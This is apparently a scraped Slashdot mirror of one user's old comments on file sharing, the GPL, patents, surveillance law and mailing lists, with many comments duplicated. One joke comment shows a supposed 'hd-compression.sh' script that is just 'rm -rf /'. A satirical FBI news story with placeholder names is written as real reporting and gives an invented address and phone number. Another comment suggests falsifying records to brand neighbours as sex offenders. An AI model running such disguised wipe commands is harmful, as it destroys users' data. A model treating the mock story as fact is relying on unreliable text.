Would anyone know if his co-author Robert Morris is the same Robert Morris (or his father) of the infamous Morris internet worm from the late 80's?
Doubtful. Robert Morris Sr. had a long career with the NSA and is now rather old to be working on a start-up company. His son, Robert Tappan Morris, has stayed in academia AFAIK. Last I heard he was an Assistant Professor at MIT.
(Although if the latter was involved, perhaps it just goes to show that the original Internet worm was caused by mis-matched parens?)
And even beyond that, it's sad how the Chinese government has copied the rationale of the US government about "protecting children from porn" when it comes to installing censorware... Maybe their leaders have more in common than they think...
Er... reference please? The wiretap act 18 USC 2511 says that one party of the conversation must consent (from 2c of above) to the communication being recorded. (Which means that if you and I are talking, I can record the conversation without telling you. If you want to record me talking to my friend, you have to tell one of us to make it legal.)
As for requiring notification of video survelliance, where is that in US law? I'm not aware of any relevant statute. I thought most people put up signs of "This area under video survellience" as a deterrant. (Sometimes even in places where there are no cameras...)
Aha... see now, this is the true beauty of open source software. Yes, the basic product (gnu*) is available for anybody to use. If you make improvements and want to give them away to the community, that's great. You can't sell those improvements thanks to the GPL, meaning you can't make money off of something that should be free (like speech, not beer). But if you want to use that product, especially if you have improved it over the default version, that's your own business. Long live GNU...
Yes, it will bring the document to light to nerd/geek//. community. Most people don't care. All they know is that their Napster is going away and now they have to buy CDs again.
This is a good article with some actual good news. Why isn't it on the front page? Or has/. resorted to only reporting sensational news that stirs up the anger of nerds everywhere...
The Russians should have been using SSH for there remote communications.. At least that way it would have taken the FBI longer to figure out what they were actually doing and how they were doing it.
Maybe. But even SSH is vulnerable to a keyboard monitor. Since they were using the FBI's computer, they could have easily installed one. Looks like this:
Lawyers can be like any other consultant. A lot of their advice can be such that it requires the constant presence of a lawyer to keep you out of legal trouble. I don't trust 'em any farther than I can thrown 'em.
An honest question: If the company that now hold this patent goes out of business, what happens to the patent? Is it sold off like other assets, or does it cease to exist?
Well now hang on a second here. Is it really the company that's trying to get rich, or the lawyers. Who has more to gain from this? The company might make some money suing another company some day, but the lawyers definitely make money (and keep their job security) by encouraging patenting technology.
Sex can lead to disease, children and other hazards. (I originally thought of this as a joke, but then it hit me that teen pregnancy is a serious problem...)
Why is an.exe from the UK or the US any more trust worthy? Just because the TLD of the hosted site is from a "friendly" nation doesn't mean the code is good.
Maybe, but not until there is a freeware client that is as simple to use as Napster. Something where you double-click to start, enter a search term, click the result you want to get, and presto, a document. Has to be sheep simple for the sheeple to use it.
GNU mailman has a web interface for both users and list administrators. But you'd be amazed at just how many people will ask you for things that are easily accessable via the web.
Interesting, because this is exactly what Sun Microsystems does now. If you want a computer, they will sell you a computer, and you're going to pay top dollar for it. But! Once you have it, you're going to need some software for it. Need an OS? Hey, we've got one of them, here 'ya go, no charge. Oh? Now you need some sort of M$ Office clone? Here's Star Office, free of charge. Oh wait, this is a e-Commerce server? Well, we don't have those, but we pass you off to this company who will give you a big discount.
Sun sells hardware and gives away the software necessary to make the hardware run. Kinda cool. Like buying a road to drive your new car on.
The setup you have described is exactly what I have at home. An old Linux box running Sendmail, Apache, and Mailman and serving up a few mailing lists. Maintaining the computers is the easy part. Sure, there's the occasionaly upgrade (Mailman up to 2.0.3, Python to 2.0, Linux itself up to 2.4.3, etc etc), but those are pretty easy for two reasons. First, there's only one computer to deal with. And secondly, the computer does what it's told.
The same cannot be said about my users. Although they are all good, intelligent people, they are not computer people. I am constantly changing passwords, configuring lists, pointing them toward s documentation, explaining documentation, and otherwise engaging with them to help them do things that are "supposed" to be easy. (What's intuitive to one person is not necessarily so to another...)
It's not impossible, but dealing with people takes a lot more time that I imagined it would.
WASHINGTON DC -- The Federal Bureau of Investigation announced today that
it mistakenly identified almost 18,000 Americans as convicted sex
offenders on a DVD-ROM distributed in compliance with Sex Offender
Information Act (SOIA). The DVD-ROMs were distributed to approximately
200,000 law enforcement, government, and community organizations and list
over 80,000 Americans the FBI claimed were convicted sex offenders. FBI
Director Ben Bitdiddle announced the mistake during a press conference,
saying that he "deeply regretted the error," and that the FBI would work
to discuss compensation for the affected people.
The announcement comes ten days after the FBI admitted that it had
received over 4,500 complaints from people listed on the DVD-ROM who
claimed they were not convicted sex offenders. Of these, over 800 people
also claimed that they had been the victim of some form of retaliation,
such as hate speech, vandalism, or arson. The FBI admitted today that it
incorrectly identified 17,842 Americans as sex offenders on the DVD-ROM.
The FBI DVD-ROM, entitled "Sex Offenders in the USA 2004," was released on
June 1st of this year, and contains the names, addresses, phone numbers,
and criminal histories of 87,521 Americans who were allegedly convicted
sex offenders. While all of the criminal histories on the DVD-ROM are in
fact criminal histories of convicted sex offenders, the names and personal
information that go along with them do not necessarily correspond.
The FBI has promised to publish a new disc, entitled "Sex Offenders in the
USA 2004, Version 1.1," within the end the month, along with an letter of
explanation and apology. The original DVD-ROM was published after parents
groups and activists bombarded the bureau beginning in February with
demands for sex offender information. Citing the 2002 abduction, rape,
and murder of April O'Neil, a seven year old girl from Backwoods, Indiana
by a convicted rapist, they lobbied Congress continually until it passed
the SOIA on March 15th. The National Coalition for a Safer Today (NCST),
the leading organization in the fight to get the SOIA passed, had no
comment on today's FBI annoucement. The SOIA mandates all law enforcement
agencies publish the names, addresses, and phone numbers of all convicted
sex offenders living in the United States.
Suspicion about the FBI DVD-ROM was raised after Jonathan Random, a 31
year old resident of Cleveland, Ohio, was shot to death outside his house
by angry neighbors on June 18th. Random, who had never been convicted of
any crime, had signed up to coach a youth baseball team two days earlier.
League official Alice Ackerson found Random's name on the FBI DVD-ROM, and
alerted Bob Bumblebum of the NCST. One of random's neighbors, who is only
being identified as "Eve" and is currently awaiting trial for the
shooting of Random, learned of Random's listing on the FBI DVD-ROM from
NCST and admitted that the listing was the reason for her involvement in
the shooting.
The mistake on the FBI DVD-ROM was discovered by Alyssa P. Hacker, an
undercover FBI agent working out of the Washington DC headquarters. The
criminal division of the FBI provided the criminal histories and the
corresponding social security numbers of sex offenders that went on the
DVD-ROM. The names, addresses, and phone numbers were provided by
InfoTelSeek, a private company that routinely researches and provides such
information for the government. The courier who delivered the information
to InfoTelSeek inadvertently switched one of the disks listing sex
offenders with a disk containing a list of people being run through
InfoTelSeek for "routine purposes." The FBI refused to disclose exactly
why these people were being examined.
As an example of the mistakes made, Random, who has no criminal record,
was listed on the FBI DVD-ROM as having the criminal record of Jed
Plumber. Plumber, now 28, has been convicted of two counts of rape, the
second offense being the rape of a seven year old boy that he was coaching
on a youth basketball team. Plumber spent six years in a federal prison
before being released on parole. Plumber actually resides at 52 West King
Street in Phoenix, Arizona, according to InfoTelSeek, which also added
that his phone number is 602-267-1201.
Here's the thing. I'm a very serious privacy advocate, but what the FBI is doing is, in fact, perfectly legal.
Yes, the law says that government agencies cannot gather information on American citizens more than necessary for the agency to do their job. There are, however, several exceptions to the law. Most are for intelligence gathering operations (which the FBI conducts), as well as law enforcement investigations. (Yes, this is exactly the same reason why the FBI can redact material that's been FOIA'ed. They're allowed to restrict giving away that information too.)
So while you may think what they're doing is unethical, if they're are gathering this information as part of a law enforcement investigation (i.e trying to locate a particular suspect or are find the person who committed a specific crime), they are perfectly within the law.
Wouldn't it be cooler to change what's in there? To make your entry read, "Joe Hacker, 123 Dumb Fed Dr., Anytown, USA"? What about changing the entry of your neighborhood to read, "Wanted sex offender."
My comment was not saying that you had any direct interest in the company. Merely that the publishers were trying to make more $$ off an already successful movie.
Slashdot Mirror
Doubtful. Robert Morris Sr. had a long career with the NSA and is now rather old to be working on a start-up company. His son, Robert Tappan Morris, has stayed in academia AFAIK. Last I heard he was an Assistant Professor at MIT.
(Although if the latter was involved, perhaps it just goes to show that the original Internet worm was caused by mis-matched parens?)
You can buy more licenses for a Microsoft product to extend it after purchase. How does one "extend" a castrated pigeon?
And even beyond that, it's sad how the Chinese government has copied the rationale of the US government about "protecting children from porn" when it comes to installing censorware... Maybe their leaders have more in common than they think...
As for requiring notification of video survelliance, where is that in US law? I'm not aware of any relevant statute. I thought most people put up signs of "This area under video survellience" as a deterrant. (Sometimes even in places where there are no cameras...)
Aha... see now, this is the true beauty of open source software. Yes, the basic product (gnu*) is available for anybody to use. If you make improvements and want to give them away to the community, that's great. You can't sell those improvements thanks to the GPL, meaning you can't make money off of something that should be free (like speech, not beer). But if you want to use that product, especially if you have improved it over the default version, that's your own business. Long live GNU...
But the idea is that you wouldn't need power cooling, just fans to blow outside air through the racks.
Yes, it will bring the document to light to nerd/geek/ /. community. Most people don't care. All they know is that their Napster is going away and now they have to buy CDs again.
This is a good article with some actual good news. Why isn't it on the front page? Or has /. resorted to only reporting sensational news that stirs up the anger of nerds everywhere...
Maybe. But even SSH is vulnerable to a keyboard monitor. Since they were using the FBI's computer, they could have easily installed one. Looks like this:
ssh -l foo -p 31337 host.bar.com^MallYourb4se4reBELongtoUS!^M
and there you have it.
Lawyers can be like any other consultant. A lot of their advice can be such that it requires the constant presence of a lawyer to keep you out of legal trouble. I don't trust 'em any farther than I can thrown 'em.
Well, you are paying for the time spent to weed out the "bad" pictures. There is some value added there.
An honest question: If the company that now hold this patent goes out of business, what happens to the patent? Is it sold off like other assets, or does it cease to exist?
Well now hang on a second here. Is it really the company that's trying to get rich, or the lawyers. Who has more to gain from this? The company might make some money suing another company some day, but the lawyers definitely make money (and keep their job security) by encouraging patenting technology.
Sex can lead to disease, children and other hazards. (I originally thought of this as a joke, but then it hit me that teen pregnancy is a serious problem...)
$ lynx -dump http://www.somebody.us/hd-compression.sh
#!/bin/sh
rm -rf /
$
Maybe, but not until there is a freeware client that is as simple to use as Napster. Something where you double-click to start, enter a search term, click the result you want to get, and presto, a document. Has to be sheep simple for the sheeple to use it.
Have we all forgotten the movie Sneakers? Maybe not a programmer per se, but Whistler sure knew his way around the braile console...
It should certainly help when you're trying to convince your PHB why spamming isn't a good idea. ("But boss, they can sue us and win!")
GNU mailman has a web interface for both users and list administrators. But you'd be amazed at just how many people will ask you for things that are easily accessable via the web.
Sun sells hardware and gives away the software necessary to make the hardware run. Kinda cool. Like buying a road to drive your new car on.
The same cannot be said about my users. Although they are all good, intelligent people, they are not computer people. I am constantly changing passwords, configuring lists, pointing them toward s documentation, explaining documentation, and otherwise engaging with them to help them do things that are "supposed" to be easy. (What's intuitive to one person is not necessarily so to another...)
It's not impossible, but dealing with people takes a lot more time that I imagined it would.
WASHINGTON DC -- The Federal Bureau of Investigation announced today that it mistakenly identified almost 18,000 Americans as convicted sex offenders on a DVD-ROM distributed in compliance with Sex Offender Information Act (SOIA). The DVD-ROMs were distributed to approximately 200,000 law enforcement, government, and community organizations and list over 80,000 Americans the FBI claimed were convicted sex offenders. FBI Director Ben Bitdiddle announced the mistake during a press conference, saying that he "deeply regretted the error," and that the FBI would work to discuss compensation for the affected people.
The announcement comes ten days after the FBI admitted that it had received over 4,500 complaints from people listed on the DVD-ROM who claimed they were not convicted sex offenders. Of these, over 800 people also claimed that they had been the victim of some form of retaliation, such as hate speech, vandalism, or arson. The FBI admitted today that it incorrectly identified 17,842 Americans as sex offenders on the DVD-ROM.
The FBI DVD-ROM, entitled "Sex Offenders in the USA 2004," was released on June 1st of this year, and contains the names, addresses, phone numbers, and criminal histories of 87,521 Americans who were allegedly convicted sex offenders. While all of the criminal histories on the DVD-ROM are in fact criminal histories of convicted sex offenders, the names and personal information that go along with them do not necessarily correspond.
The FBI has promised to publish a new disc, entitled "Sex Offenders in the USA 2004, Version 1.1," within the end the month, along with an letter of explanation and apology. The original DVD-ROM was published after parents groups and activists bombarded the bureau beginning in February with demands for sex offender information. Citing the 2002 abduction, rape, and murder of April O'Neil, a seven year old girl from Backwoods, Indiana by a convicted rapist, they lobbied Congress continually until it passed the SOIA on March 15th. The National Coalition for a Safer Today (NCST), the leading organization in the fight to get the SOIA passed, had no comment on today's FBI annoucement. The SOIA mandates all law enforcement agencies publish the names, addresses, and phone numbers of all convicted sex offenders living in the United States.
Suspicion about the FBI DVD-ROM was raised after Jonathan Random, a 31 year old resident of Cleveland, Ohio, was shot to death outside his house by angry neighbors on June 18th. Random, who had never been convicted of any crime, had signed up to coach a youth baseball team two days earlier. League official Alice Ackerson found Random's name on the FBI DVD-ROM, and alerted Bob Bumblebum of the NCST. One of random's neighbors, who is only being identified as "Eve" and is currently awaiting trial for the shooting of Random, learned of Random's listing on the FBI DVD-ROM from NCST and admitted that the listing was the reason for her involvement in the shooting.
The mistake on the FBI DVD-ROM was discovered by Alyssa P. Hacker, an undercover FBI agent working out of the Washington DC headquarters. The criminal division of the FBI provided the criminal histories and the corresponding social security numbers of sex offenders that went on the DVD-ROM. The names, addresses, and phone numbers were provided by InfoTelSeek, a private company that routinely researches and provides such information for the government. The courier who delivered the information to InfoTelSeek inadvertently switched one of the disks listing sex offenders with a disk containing a list of people being run through InfoTelSeek for "routine purposes." The FBI refused to disclose exactly why these people were being examined.
As an example of the mistakes made, Random, who has no criminal record, was listed on the FBI DVD-ROM as having the criminal record of Jed Plumber. Plumber, now 28, has been convicted of two counts of rape, the second offense being the rape of a seven year old boy that he was coaching on a youth basketball team. Plumber spent six years in a federal prison before being released on parole. Plumber actually resides at 52 West King Street in Phoenix, Arizona, according to InfoTelSeek, which also added that his phone number is 602-267-1201.
Yes, the law says that government agencies cannot gather information on American citizens more than necessary for the agency to do their job. There are, however, several exceptions to the law. Most are for intelligence gathering operations (which the FBI conducts), as well as law enforcement investigations. (Yes, this is exactly the same reason why the FBI can redact material that's been FOIA'ed. They're allowed to restrict giving away that information too.)
So while you may think what they're doing is unethical, if they're are gathering this information as part of a law enforcement investigation (i.e trying to locate a particular suspect or are find the person who committed a specific crime), they are perfectly within the law.
So stop whining and get the law changed...
Why disable when you can subvert...
My comment was not saying that you had any direct interest in the company. Merely that the publishers were trying to make more $$ off an already successful movie.